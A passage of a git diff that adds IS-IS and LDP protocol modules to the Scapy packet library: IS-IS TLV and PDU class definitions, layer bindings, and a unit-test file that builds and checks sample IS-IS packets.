+##  ISIS Sub-TLVs for TLVs 22, 23, 141, 222, 223                     ##
+#######################################################################
+_isis_subtlv_classes_1 = {
+    4:  "ISIS_LinkLocalRemoteIdentifiersSubTlv",
+    6:  "ISIS_IPv4InterfaceAddressSubTlv",
+    8:  "ISIS_IPv4NeighborAddressSubTlv",
+    12: "ISIS_IPv6InterfaceAddressSubTlv",
+    13: "ISIS_IPv6NeighborAddressSubTlv"
+}
+
+_isis_subtlv_names_1 = {
+    4:  "Link Local/Remote Identifiers",
+    6:  "IPv4 Interface Address",
+    8:  "IPv4 Neighbor Address",
+    12: "IPv6 Interface Address",
+    13: "IPv6 Neighbor Address"
+}
+
+
+def _ISIS_GuessSubTlvClass_1(p, **kargs):
+    return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_1, "ISIS_GenericSubTlv", p, **kargs)
+
+
+class ISIS_IPv4InterfaceAddressSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS IPv4 Interface Address (S)"
+    fields_desc = [ByteEnumField("type", 6, _isis_subtlv_names_1),
+                   FieldLenField("len", None, length_of= "address", fmt="B"),
+                   IPField("address", "0.0.0.0")]
+
+
+class ISIS_IPv4NeighborAddressSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS IPv4 Neighbor Address (S)"
+    fields_desc = [ByteEnumField("type", 8, _isis_subtlv_names_1),
+                   FieldLenField("len", None, length_of= "address", fmt="B"),
+                   IPField("address", "0.0.0.0")]
+
+
+class ISIS_LinkLocalRemoteIdentifiersSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS Link Local/Remote Identifiers (S)"
+    fields_desc = [ByteEnumField("type", 4, _isis_subtlv_names_1),
+                   FieldLenField("len", 8, fmt="B"),
+                   IntField("localid", "0"),
+                   IntField("remoteid", "0")]
+
+
+class ISIS_IPv6InterfaceAddressSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS IPv6 Interface Address (S)"
+    fields_desc = [ByteEnumField("type", 12, _isis_subtlv_names_1),
+                   FieldLenField("len", None, length_of= "address", fmt="B"),
+                   IP6Field("address", "::")]
+
+
+class ISIS_IPv6NeighborAddressSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS IPv6 Neighbor Address (S)"
+    fields_desc = [ByteEnumField("type", 13, _isis_subtlv_names_1),
+                   FieldLenField("len", None, length_of= "address", fmt="B"),
+                   IP6Field("address", "::")]
+
+
+#######################################################################
+##  ISIS Sub-TLVs for TLVs 135, 235, 236, and 237                    ##
+#######################################################################
+_isis_subtlv_classes_2 = {
+    1:  "ISIS_32bitAdministrativeTagSubTlv",
+    2:  "ISIS_64bitAdministrativeTagSubTlv"
+}
+
+_isis_subtlv_names_2 = {
+    1:  "32-bit Administrative Tag",
+    2:  "64-bit Administrative Tag"
+}
+
+
+def _ISIS_GuessSubTlvClass_2(p, **kargs):
+    return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_2, "ISIS_GenericSubTlv", p, **kargs)
+
+
+class ISIS_32bitAdministrativeTagSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS 32-bit Administrative Tag (S)"
+    fields_desc = [ByteEnumField("type", 1, _isis_subtlv_names_2),
+                   FieldLenField("len", None, length_of= "tags", fmt="B"),
+                   FieldListField("tags", [], IntField("", 0), count_from= lambda pkt: pkt.len // 4)]
+
+
+class ISIS_64bitAdministrativeTagSubTlv(ISIS_GenericSubTlv):
+    name = "ISIS 64-bit Administrative Tag (S)"
+    fields_desc = [ByteEnumField("type", 2, _isis_subtlv_names_2),
+                   FieldLenField("len", None, length_of= "tags", fmt="B"),
+                   FieldListField("tags", [], LongField("", 0), count_from= lambda pkt: pkt.len // 8)]
+
+
+#######################################################################
+##  ISIS TLVs                                                        ##
+#######################################################################
+_isis_tlv_classes = { 
+    1: "ISIS_AreaTlv",
+    2: "ISIS_IsReachabilityTlv",
+    6: "ISIS_IsNeighbourTlv",
+    8: "ISIS_PaddingTlv",
+    9: "ISIS_LspEntryTlv",
+   10: "ISIS_AuthenticationTlv",
+   12: "ISIS_ChecksumTlv",
+   14: "ISIS_BufferSizeTlv",
+   22: "ISIS_ExtendedIsReachabilityTlv",
+  128: "ISIS_InternalIpReachabilityTlv",
+  129: "ISIS_ProtocolsSupportedTlv",
+  130: "ISIS_ExternalIpReachabilityTlv",
+  132: "ISIS_IpInterfaceAddressTlv",
+  135: "ISIS_ExtendedIpReachabilityTlv",
+  137: "ISIS_DynamicHostnameTlv",
+  232: "ISIS_Ipv6InterfaceAddressTlv",
+  236: "ISIS_Ipv6ReachabilityTlv",
+  240: "ISIS_P2PAdjacencyStateTlv"
+}
+
+_isis_tlv_names = {
+    1: "Area TLV",
+    2: "IS Reachability TLV",
+    6: "IS Neighbour TLV",
+    7: "Instance Identifier TLV",
+    8: "Padding TLV",
+    9: "LSP Entries TLV",
+   10: "Authentication TLV",
+   12: "Optional Checksum TLV",
+   13: "Purge Originator Identification TLV", 
+   14: "LSP Buffer Size TLV",
+   22: "Extended IS-Reachability TLV",
+   23: "IS Neighbour Attribute TLV",
+   24: "IS Alias ID",
+  128: "IP Internal Reachability TLV",
+  129: "Protocols Supported TLV",
+  130: "IP External Reachability TLV",
+  131: "Inter-Domain Routing Protocol Information TLV",
+  132: "IP Interface Address TLV",
+  134: "Traffic Engineering Router ID TLV",
+  135: "Extended IP Reachability TLV",
+  137: "Dynamic Hostname TLV",
+  138: "GMPLS Shared Risk Link Group TLV",
+  139: "IPv6 Shared Risk Link Group TLV",
+  140: "IPv6 Traffic Engineering Router ID TLV",
+  141: "Inter-AS Reachability Information TLV",
+  142: "Group Address TLV",
+  143: "Multi-Topology-Aware Port Capability TLV",
+  144: "Multi-Topology Capability TLV",
+  145: "TRILL Neighbour TLV",
+  147: "MAC-Reachability TLV",
+  148: "BFD-Enabled TLV",
+  211: "Restart TLV",
+  222: "Multi-Topology Intermediate Systems TLV",
+  223: "Multi-Topology IS Neighbour Attributes TLV",
+  229: "Multi-Topology TLV",
+  232: "IPv6 Interface Address TLV",
+  233: "IPv6 Global Interface Address TLV",
+  235: "Multi-Topology IPv4 Reachability TLV",
+  236: "IPv6 Reachability TLV",
+  237: "Multi-Topology IPv6 Reachability TLV",
+  240: "Point-to-Point Three-Way Adjacency TLV",
+  242: "IS-IS Router Capability TLV",
+  251: "Generic Information TLV"
+}
+
+
+def _ISIS_GuessTlvClass(p, **kargs):
+    return _ISIS_GuessTlvClass_Helper(_isis_tlv_classes, "ISIS_GenericTlv", p, **kargs)
+
+
+class ISIS_AreaEntry(Packet):
+    name = "ISIS Area Entry"
+    fields_desc = [FieldLenField("arealen", None, length_of="areaid", fmt="B"),
+                   ISIS_AreaIdField("areaid", "49", length_from=lambda pkt: pkt.arealen)]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class ISIS_AreaTlv(ISIS_GenericTlv):
+    name = "ISIS Area TLV"
+    fields_desc = [ByteEnumField("type", 1, _isis_tlv_names),
+                   FieldLenField("len", None, length_of= "areas", fmt="B"),
+                   PacketListField("areas", [], ISIS_AreaEntry, length_from=lambda x: x.len)]
+
+
+class ISIS_AuthenticationTlv(ISIS_GenericTlv):
+    name = "ISIS Authentication TLV"
+    fields_desc = [ByteEnumField("type", 10, _isis_tlv_names),
+                   FieldLenField("len", None, length_of= "password", adjust=lambda pkt,x: x + 1, fmt="B"),
+                   ByteEnumField("authtype", 1, {1: "Plain", 17: "HMAC-MD5"}),
+                   BoundStrLenField("password", "", maxlen= 254, length_from=lambda pkt: pkt.len - 1)]
+
+
+class ISIS_BufferSizeTlv(ISIS_GenericTlv):
+    name = "ISIS Buffer Size TLV"
+    fields_desc = [ByteEnumField("type", 14, _isis_tlv_names),
+                   ByteField("len", 2),
+                   ShortField("lspbuffersize", 1497)]
+
+
+class ISIS_ChecksumTlv(ISIS_GenericTlv):
+    name = "ISIS Optional Checksum TLV"
+    fields_desc = [ByteEnumField("type", 12, _isis_tlv_names),
+                   ByteField("len", 2),
+                   XShortField("checksum", None)]
+
+
+class ISIS_DynamicHostnameTlv(ISIS_GenericTlv):
+    name = "ISIS Dynamic Hostname TLV"
+    fields_desc = [ByteEnumField("type", 137, _isis_tlv_names),
+                   FieldLenField("len", None, length_of= "hostname", fmt="B"),
+                   BoundStrLenField("hostname", "", length_from=lambda pkt: pkt.len)]
+
+
+class ISIS_ExtendedIpPrefix(Packet):
+    name = "ISIS Extended IP Prefix"
+    fields_desc = [
+        IntField("metric", 1),
+        BitField("updown", 0, 1),
+        BitField("subtlvindicator", 0, 1),
+        BitFieldLenField("pfxlen", None, 6, length_of="pfx"),
+        IPPrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen),
+        ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt= "B"), lambda pkt: pkt.subtlvindicator == 1),
+        ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1)
+    ]
+
+    def extract_padding(self, s):
+        return "", s
+
+ 
+class ISIS_ExtendedIpReachabilityTlv(ISIS_GenericTlv):
+    name = "ISIS Extended IP Reachability TLV"
+    fields_desc = [ByteEnumField("type", 135, _isis_tlv_names),
+                   FieldLenField("len", None, length_of="pfxs", fmt="B"),
+                   PacketListField("pfxs", [], ISIS_ExtendedIpPrefix, length_from= lambda pkt: pkt.len)]
+
+
+class ISIS_ExtendedIsNeighbourEntry(Packet):
+    name = "ISIS Extended IS Neighbour Entry"
+    fields_desc = [
+        ISIS_NodeIdField("neighbourid", "0102.0304.0506.07"),
+        ThreeBytesField("metric", 1),
+        FieldLenField("subtlvslen", None, length_of="subtlvs", fmt= "B"),
+        PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_1, length_from=lambda x: x.subtlvslen)
+    ]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class ISIS_ExtendedIsReachabilityTlv(ISIS_GenericTlv):
+    name = "ISIS Extended IS Reachability TLV"
+    fields_desc = [ByteEnumField("type", 22, _isis_tlv_names),
+                   FieldLenField("len", None, length_of="neighbours", fmt="B"),
+                   PacketListField("neighbours", [], ISIS_ExtendedIsNeighbourEntry, length_from=lambda x: x.len)]
+
+
+class ISIS_IpInterfaceAddressTlv(ISIS_GenericTlv):
+    name = "ISIS IP Interface Address TLV"
+    fields_desc = [ByteEnumField("type", 132, _isis_tlv_names),
+                   FieldLenField("len", None, length_of= "addresses", fmt="B"),
+                   FieldListField("addresses", [], IPField("", "0.0.0.0"), count_from= lambda pkt: pkt.len // 4)]
+
+
+class ISIS_Ipv6InterfaceAddressTlv(ISIS_GenericTlv):
+    name = "ISIS IPv6 Interface Address TLV"
+    fields_desc = [
+        ByteEnumField("type", 232, _isis_tlv_names),
+        FieldLenField("len", None, length_of="addresses", fmt="B"),
+        IP6ListField("addresses", [], count_from=lambda pkt: pkt.len // 16)
+    ]
+
+
+class ISIS_Ipv6Prefix(Packet):
+    name = "ISIS IPv6 Prefix"
+    fields_desc = [
+        IntField("metric", 1),
+        BitField("updown", 0, 1),
+        BitField("external", 0, 1),
+        BitField("subtlvindicator", 0, 1),
+        BitField("reserved", 0, 5),
+        FieldLenField("pfxlen", None, length_of="pfx", fmt="B"),
+        IP6PrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen),
+        ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt= "B"), lambda pkt: pkt.subtlvindicator == 1),
+        ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1)
+    ]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class ISIS_Ipv6ReachabilityTlv(ISIS_GenericTlv):
+    name= "ISIS IPv6 Reachability TLV"
+    fields_desc = [ByteEnumField("type", 236, _isis_tlv_names),
+                   FieldLenField("len", None, length_of= "pfxs", fmt="B"),
+                   PacketListField("pfxs", [], ISIS_Ipv6Prefix, length_from= lambda pkt: pkt.len)]
+
+
+class ISIS_IsNeighbourTlv(ISIS_GenericTlv):
+    name = "ISIS IS Neighbour TLV"
+    fields_desc = [ByteEnumField("type", 6, _isis_tlv_names),
+                   FieldLenField("len", None, length_of= "neighbours", fmt="B"),
+                   FieldListField("neighbours", [], MACField("", "00.00.00.00.00.00"), count_from= lambda pkt: pkt.len // 6)]
+
+
+class ISIS_LspEntry(Packet):
+    name = "ISIS LSP Entry"
+    fields_desc = [ShortField("lifetime", 1200),
+                   ISIS_LspIdField("lspid", "0102.0304.0506.07-08"),
+                   XIntField("seqnum", 0x00000001),
+                   XShortField("checksum", None)]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class ISIS_LspEntryTlv(ISIS_GenericTlv):
+    name = "ISIS LSP Entry TLV"
+    fields_desc = [
+        ByteEnumField("type", 9, _isis_tlv_names),
+        FieldLenField("len", None, length_of="entries", fmt="B"),
+        PacketListField("entries", [], ISIS_LspEntry, count_from=lambda pkt: pkt.len // 16)
+    ]
+
+
+class _AdjacencyStateTlvLenField(Field):
+    def i2m(self, pkt, x):
+        if pkt.neighbourextlocalcircuitid is not None:
+            return 15
+
+        if pkt.neighboursystemid is not None:
+            return 11
+
+        if pkt.extlocalcircuitid is not None:
+            return 5
+
+        return 1
+
+
+class ISIS_P2PAdjacencyStateTlv(ISIS_GenericTlv):
+    name = "ISIS P2P Adjacency State TLV"
+    fields_desc = [ByteEnumField("type", 240, _isis_tlv_names),
+               _AdjacencyStateTlvLenField("len", None, fmt="B"),
+               ByteEnumField("state", "Down", {0x2 : "Down", 0x1 : "Initialising", 0x0 : "Up"}),
+               ConditionalField(IntField("extlocalcircuitid", None), lambda pkt: pkt.len >= 5),
+               ConditionalField(ISIS_SystemIdField("neighboursystemid", None), lambda pkt: pkt.len >= 11),
+               ConditionalField(IntField("neighbourextlocalcircuitid", None), lambda pkt: pkt.len == 15)]
+
+
+# TODO dynamically allocate sufficient size
+class ISIS_PaddingTlv(ISIS_GenericTlv):
+    name = "ISIS Padding TLV"
+    fields_desc = [
+        ByteEnumField("type", 8, _isis_tlv_names),
+        FieldLenField("len", None, length_of="padding", fmt="B"),
+        BoundStrLenField("padding", "", length_from=lambda pkt: pkt.len)
+    ]
+
+
+class ISIS_ProtocolsSupportedTlv(ISIS_GenericTlv):
+    name = "ISIS Protocols Supported TLV"
+    fields_desc = [
+        ByteEnumField("type", 129, _isis_tlv_names),
+        FieldLenField("len", None, count_of="nlpids", fmt="B"),
+        FieldListField("nlpids", [], ByteEnumField("", "IPv4", network_layer_protocol_ids), count_from=lambda pkt: pkt.len)
+    ]
+
+
+#######################################################################
+##  ISIS Old-Style TLVs                                              ##
+#######################################################################
+
+class ISIS_IpReachabilityEntry(Packet):
+    name = "ISIS IP Reachability"
+    fields_desc = [ByteField("defmetric", 1),
+                   ByteField("delmetric", 0x80),
+                   ByteField("expmetric", 0x80),
+                   ByteField("errmetric", 0x80),
+                   IPField("ipaddress", "0.0.0.0"),
+                   IPField("subnetmask", "255.255.255.255")]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class ISIS_InternalIpReachabilityTlv(ISIS_GenericTlv):
+    name = "ISIS Internal IP Reachability TLV"
+    fields_desc = [
+        ByteEnumField("type", 128, _isis_tlv_names),
+        FieldLenField("len", None, length_of="entries", fmt="B"),
+        PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12)
+    ]
+
+
+class ISIS_ExternalIpReachabilityTLV(ISIS_GenericTlv):
+    name = "ISIS External IP Reachability TLV"
+    fields_desc = [
+        ByteEnumField("type", 130, _isis_tlv_names),
+        FieldLenField("len", None, length_of="entries", fmt="B"),
+        PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12)
+    ]
+
+
+class ISIS_IsReachabilityEntry(Packet):
+    name = "ISIS IS Reachability"
+    fields_desc = [ByteField("defmetric", 1),
+                   ByteField("delmetric", 0x80),
+                   ByteField("expmetric", 0x80),
+                   ByteField("errmetric", 0x80),
+                   ISIS_NodeIdField("neighbourid", "0102.0304.0506.07")]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class ISIS_IsReachabilityTlv(ISIS_GenericTlv):
+    name = "ISIS IS Reachability TLV"
+    fields_desc = [
+        ByteEnumField("type", 2, _isis_tlv_names),
+        FieldLenField("len", None, fmt="B", length_of="neighbours", adjust=lambda pkt,x: x+1),
+        ByteField("virtual", 0),
+        PacketListField("neighbours", [], ISIS_IsReachabilityEntry, count_from=lambda x: (x.len - 1) // 11)
+    ]
+
+#######################################################################
+##  ISIS PDU Packets                                                 ##
+#######################################################################
+_isis_pdu_names = {
+    15: "L1 LAN Hello",
+    16: "L2 LAN Hello",
+    17: "P2P Hello",
+    18: "L1 LSP",
+    20: "L2 LSP",
+    24: "L1 CSNP",
+    25: "L2 CSNP",
+    26: "L1 PSNP",
+    27: "L2 PSNP"
+}
+
+
+class ISIS_CommonHdr(Packet):
+    name = "ISIS Common Header"
+    fields_desc = [
+        ByteEnumField("nlpid", 0x83, network_layer_protocol_ids),
+        ByteField("hdrlen", None),
+        ByteField("version", 1),
+        ByteField("idlen", 0),
+        ByteEnumField("pdutype", None, _isis_pdu_names),
+        ByteField("pduversion", 1),
+        ByteField("hdrreserved", 0),
+        ByteField("maxareaaddr", 0)
+    ]
+
+    def post_build(self, pkt, pay):
+        # calculating checksum if requested
+        pdu = pkt + pay
+        checksumInfo = self[1].checksum_info(self.hdrlen)
+
+        if checksumInfo is not None:
+            (cbegin, cpos) = checksumInfo
+            checkbytes = fletcher16_checkbytes(pdu[cbegin:], (cpos - cbegin))
+            pdu = pdu[:cpos] + checkbytes + pdu[cpos+2:]
+
+        return pdu
+
+
+class _ISIS_PduBase(Packet):
+    def checksum_info(self, hdrlen):
+        checksumPosition = hdrlen
+        for tlv in self.tlvs:
+            if isinstance(tlv, ISIS_ChecksumTlv):
+                checksumPosition += 2
+                return (0, checksumPosition)
+            else:
+                checksumPosition += len(tlv)
+
+        return None
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+
+class _ISIS_PduLengthField(FieldLenField):
+    def __init__(self):
+        FieldLenField.__init__(self, "pdulength", None, length_of="tlvs", adjust=lambda pkt,x: x + pkt.underlayer.hdrlen)
+
+
+class _ISIS_TlvListField(PacketListField):
+    def __init__(self):
+        PacketListField.__init__(self, "tlvs", [], _ISIS_GuessTlvClass, length_from= lambda pkt: pkt.pdulength - pkt.underlayer.hdrlen)
+
+
+class _ISIS_LAN_HelloBase(_ISIS_PduBase):
+    fields_desc = [
+        ISIS_CircuitTypeField(),
+        ISIS_SystemIdField("sourceid", "0102.0304.0506"),
+        ShortField("holdingtime", 30),
+        _ISIS_PduLengthField(),
+        ByteField("priority", 1),
+        ISIS_NodeIdField("lanid", "0000.0000.0000.00"),
+        _ISIS_TlvListField()
+    ]
+
+
+class ISIS_L1_LAN_Hello(_ISIS_LAN_HelloBase):
+    name = "ISIS L1 LAN Hello PDU"
+
+
+class ISIS_L2_LAN_Hello(_ISIS_LAN_HelloBase):
+    name = "ISIS L2 LAN Hello PDU"
+
+
+class ISIS_P2P_Hello(_ISIS_PduBase):
+    name = "ISIS Point-to-Point Hello PDU"
+
+    fields_desc = [
+        ISIS_CircuitTypeField(),
+        ISIS_SystemIdField("sourceid", "0102.0304.0506"),
+        ShortField("holdingtime", 30),
+        _ISIS_PduLengthField(),
+        ByteField("localcircuitid", 0),
+        _ISIS_TlvListField()
+    ]
+
+
+class _ISIS_LSP_Base(_ISIS_PduBase):
+    fields_desc = [
+        _ISIS_PduLengthField(),
+        ShortField("lifetime", 1199),
+        ISIS_LspIdField("lspid", "0102.0304.0506.00-00"),
+        XIntField("seqnum", 0x00000001),
+        XShortField("checksum", None),
+        FlagsField("typeblock", 0x03, 8, ["L1", "L2", "OL", "ADef", "ADel", "AExp", "AErr", "P"]),
+        _ISIS_TlvListField()
+    ]
+
+    def checksum_info(self, hdrlen):
+        if self.checksum is not None:
+            return None
+
+        return (12, 24)
+
+
+def _lsp_answers(lsp, other, clsname):
+    # TODO
+    return 0
+
+
+class ISIS_L1_LSP(_ISIS_LSP_Base):
+    name = "ISIS L1 Link State PDU"
+
+    def answers(self, other):
+        return _lsp_answers(self, other, "ISIS_L1_PSNP")
+
+
+class ISIS_L2_LSP(_ISIS_LSP_Base):
+    name = "ISIS L2 Link State PDU"
+
+    def answers(self, other):
+        return _lsp_answers(self, other, "ISIS_L2_PSNP")
+
+
+class _ISIS_CSNP_Base(_ISIS_PduBase):
+    fields_desc = [
+        _ISIS_PduLengthField(),
+        ISIS_NodeIdField("sourceid", "0102.0304.0506.00"),
+        ISIS_LspIdField("startlspid", "0000.0000.0000.00-00"),
+        ISIS_LspIdField("endlspid", "FFFF.FFFF.FFFF.FF-FF"),
+        _ISIS_TlvListField()
+    ]
+
+
+def _snp_answers(snp, other, clsname):
+    # TODO
+    return 0
+
+
+class ISIS_L1_CSNP(_ISIS_CSNP_Base):
+    name = "ISIS L1 Complete Sequence Number Packet"
+
+    def answers(self, other):
+        return _snp_answers(self, other, "ISIS_L1_LSP")
+
+
+class ISIS_L2_CSNP(_ISIS_CSNP_Base):
+    name = "ISIS L2 Complete Sequence Number Packet"
+
+    def answers(self, other):
+        return _snp_answers(self, other, "ISIS_L2_LSP")
+
+
+class _ISIS_PSNP_Base(_ISIS_PduBase):
+    fields_desc = [
+        _ISIS_PduLengthField(),
+        ISIS_NodeIdField("sourceid", "0102.0304.0506.00"),
+        _ISIS_TlvListField()
+    ]
+
+
+class ISIS_L1_PSNP(_ISIS_PSNP_Base):
+    name = "ISIS L1 Partial Sequence Number Packet"
+
+    def answers(self, other):
+        return _snp_answers(self, other, "ISIS_L1_LSP")
+
+
+class ISIS_L2_PSNP(_ISIS_PSNP_Base):
+    name = "ISIS L2 Partial Sequence Number Packet"
+
+    def answers(self, other):
+        return _snp_answers(self, other, "ISIS_L2_LSP")
+
+register_cln_protocol(0x83, ISIS_CommonHdr)
+bind_layers(ISIS_CommonHdr, ISIS_L1_LAN_Hello, hdrlen=27, pdutype=15)
+bind_layers(ISIS_CommonHdr, ISIS_L2_LAN_Hello, hdrlen=27, pdutype=16)
+bind_layers(ISIS_CommonHdr, ISIS_P2P_Hello, hdrlen=20, pdutype=17)
+bind_layers(ISIS_CommonHdr, ISIS_L1_LSP, hdrlen=27, pdutype=18)
+bind_layers(ISIS_CommonHdr, ISIS_L2_LSP, hdrlen=27, pdutype=20)
+bind_layers(ISIS_CommonHdr, ISIS_L1_CSNP, hdrlen=33, pdutype=24)
+bind_layers(ISIS_CommonHdr, ISIS_L2_CSNP, hdrlen=33, pdutype=25)
+bind_layers(ISIS_CommonHdr, ISIS_L1_PSNP, hdrlen=17, pdutype=26)
+bind_layers(ISIS_CommonHdr, ISIS_L2_PSNP, hdrlen=17, pdutype=27)
+
diff --git a/scapy/contrib/isis.uts b/scapy/contrib/isis.uts
new file mode 100644
index 0000000..916a03a
--- /dev/null
+++ b/scapy/contrib/isis.uts
@@ -0,0 +1,136 @@
+% IS-IS Tests
+* Tests for the IS-IS layer
+
++ Syntax check
+
+= Import the isis layer
+from scapy.contrib.isis import *
+
++ Basic Layer Tests
+
+= Layer Binding
+p = Dot3()/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello()
+assert(p[LLC].dsap == 0xfe)
+assert(p[LLC].ssap == 0xfe)
+assert(p[LLC].ctrl == 0x03)
+assert(p[ISIS_CommonHdr].nlpid == 0x83)
+assert(p[ISIS_CommonHdr].pdutype == 17)
+assert(p[ISIS_CommonHdr].hdrlen == 20)
+
++ Package Tests
+
+= P2P Hello
+p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello(
+         holdingtime=40, sourceid="1720.1600.8016",
+         tlvs=[
+            ISIS_ProtocolsSupportedTlv(nlpids=["IPv4", "IPv6"])
+         ])
+p = p.__class__(raw(p))
+assert(p[ISIS_P2P_Hello].pdulength == 24)
+assert(network_layer_protocol_ids[p[ISIS_ProtocolsSupportedTlv].nlpids[1]] == "IPv6")
+
+= LSP
+p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP(
+         lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2",
+         tlvs=[
+             ISIS_AreaTlv(
+                 areas=[ISIS_AreaEntry(areaid="49.1000")]
+             ),
+             ISIS_ProtocolsSupportedTlv(
+                 nlpids=["IPv4", "IPv6"]
+             ),
+             ISIS_DynamicHostnameTlv(
+                 hostname="BR-HH"
+             ),
+             ISIS_IpInterfaceAddressTlv(
+                 addresses=["172.16.8.16"]
+             ),
+             ISIS_GenericTlv(
+                 type=134,
+                 val=b"\xac\x10\x08\x10"
+             ),
+             ISIS_ExtendedIpReachabilityTlv(
+                 pfxs=[
+                     ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"),
+                     ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30"),
+                     ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30")
+                 ]
+             ),
+             ISIS_Ipv6ReachabilityTlv(
+                 pfxs=[
+                     ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"),
+                     ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64"),
+                     ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64")
+                 ]
+             ),
+             ISIS_ExtendedIsReachabilityTlv(
+                 neighbours=[ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10)]
+             )
+         ])
+p = p.__class__(raw(p))
+assert(p[ISIS_L2_LSP].pdulength == 150)
+assert(p[ISIS_L2_LSP].checksum == 0x8701)
+
+= LSP with Sub-TLVs
+p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP(
+         lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2",
+         tlvs=[
+             ISIS_AreaTlv(
+                 areas=[ISIS_AreaEntry(areaid="49.1000")]
+             ),
+             ISIS_ProtocolsSupportedTlv(
+                 nlpids=["IPv4", "IPv6"]
+             ),
+             ISIS_DynamicHostnameTlv(
+                 hostname="BR-HH"
+             ),
+             ISIS_IpInterfaceAddressTlv(
+                 addresses=["172.16.8.16"]
+             ),
+             ISIS_GenericTlv(
+                 type=134,
+                 val=b"\xac\x10\x08\x10"
+             ),
+             ISIS_ExtendedIpReachabilityTlv(
+                 pfxs=[
+                     ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"),
+                     ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30", subtlvindicator=1,
+                     subtlvs=[
+                        ISIS_32bitAdministrativeTagSubTlv(tags=[321, 123]),
+                        ISIS_64bitAdministrativeTagSubTlv(tags=[54321, 4294967311])
+                     ]),
+                     ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30", subtlvindicator=1,
+                     subtlvs=[
+                        ISIS_GenericSubTlv(type=123, val=b"\x11\x1f\x01\x1c")
+                     ])
+                 ]
+             ),
+             ISIS_Ipv6ReachabilityTlv(
+                 pfxs=[
+                     ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"),
+                     ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64", subtlvindicator=1,
+                     subtlvs=[
+                        ISIS_GenericSubTlv(type=99, val=b"\x1f\x01\x1f\x01\x11\x1f\x01\x1c")
+                     ]),
+                     ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64")
+                 ]
+             ),
+             ISIS_ExtendedIsReachabilityTlv(
+                 neighbours=[
+                     ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10,
+                     subtlvs=[
+                        ISIS_IPv4InterfaceAddressSubTlv(address="172.16.8.4"),
+                        ISIS_LinkLocalRemoteIdentifiersSubTlv(localid=418, remoteid=54321),
+                        ISIS_IPv6NeighborAddressSubTlv(address="fe10:1::5")
+                     ])
+                 ]
+             )
+         ])
+p = p.__class__(raw(p))
+assert(p[ISIS_L2_LSP].pdulength == 231)
+assert(p[ISIS_L2_LSP].checksum == 0xf8df)
+assert(p[ISIS_ExtendedIpReachabilityTlv].pfxs[1].subtlvs[1].tags[0]==54321)
+assert(p[ISIS_Ipv6ReachabilityTlv].pfxs[1].subtlvs[0].len==8)
+assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[0].address=='172.16.8.4')
+assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[1].localid==418)
+
diff --git a/scapy/contrib/ldp.py b/scapy/contrib/ldp.py
new file mode 100644
index 0000000..ea7f062
--- /dev/null
+++ b/scapy/contrib/ldp.py
@@ -0,0 +1,476 @@
+# scapy.contrib.description = Label Distribution Protocol (LDP)
+# scapy.contrib.status = loads
+
+# http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz
+
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+# Copyright (C) 2010 Florian Duraffourg
+
+from __future__ import absolute_import
+import struct
+
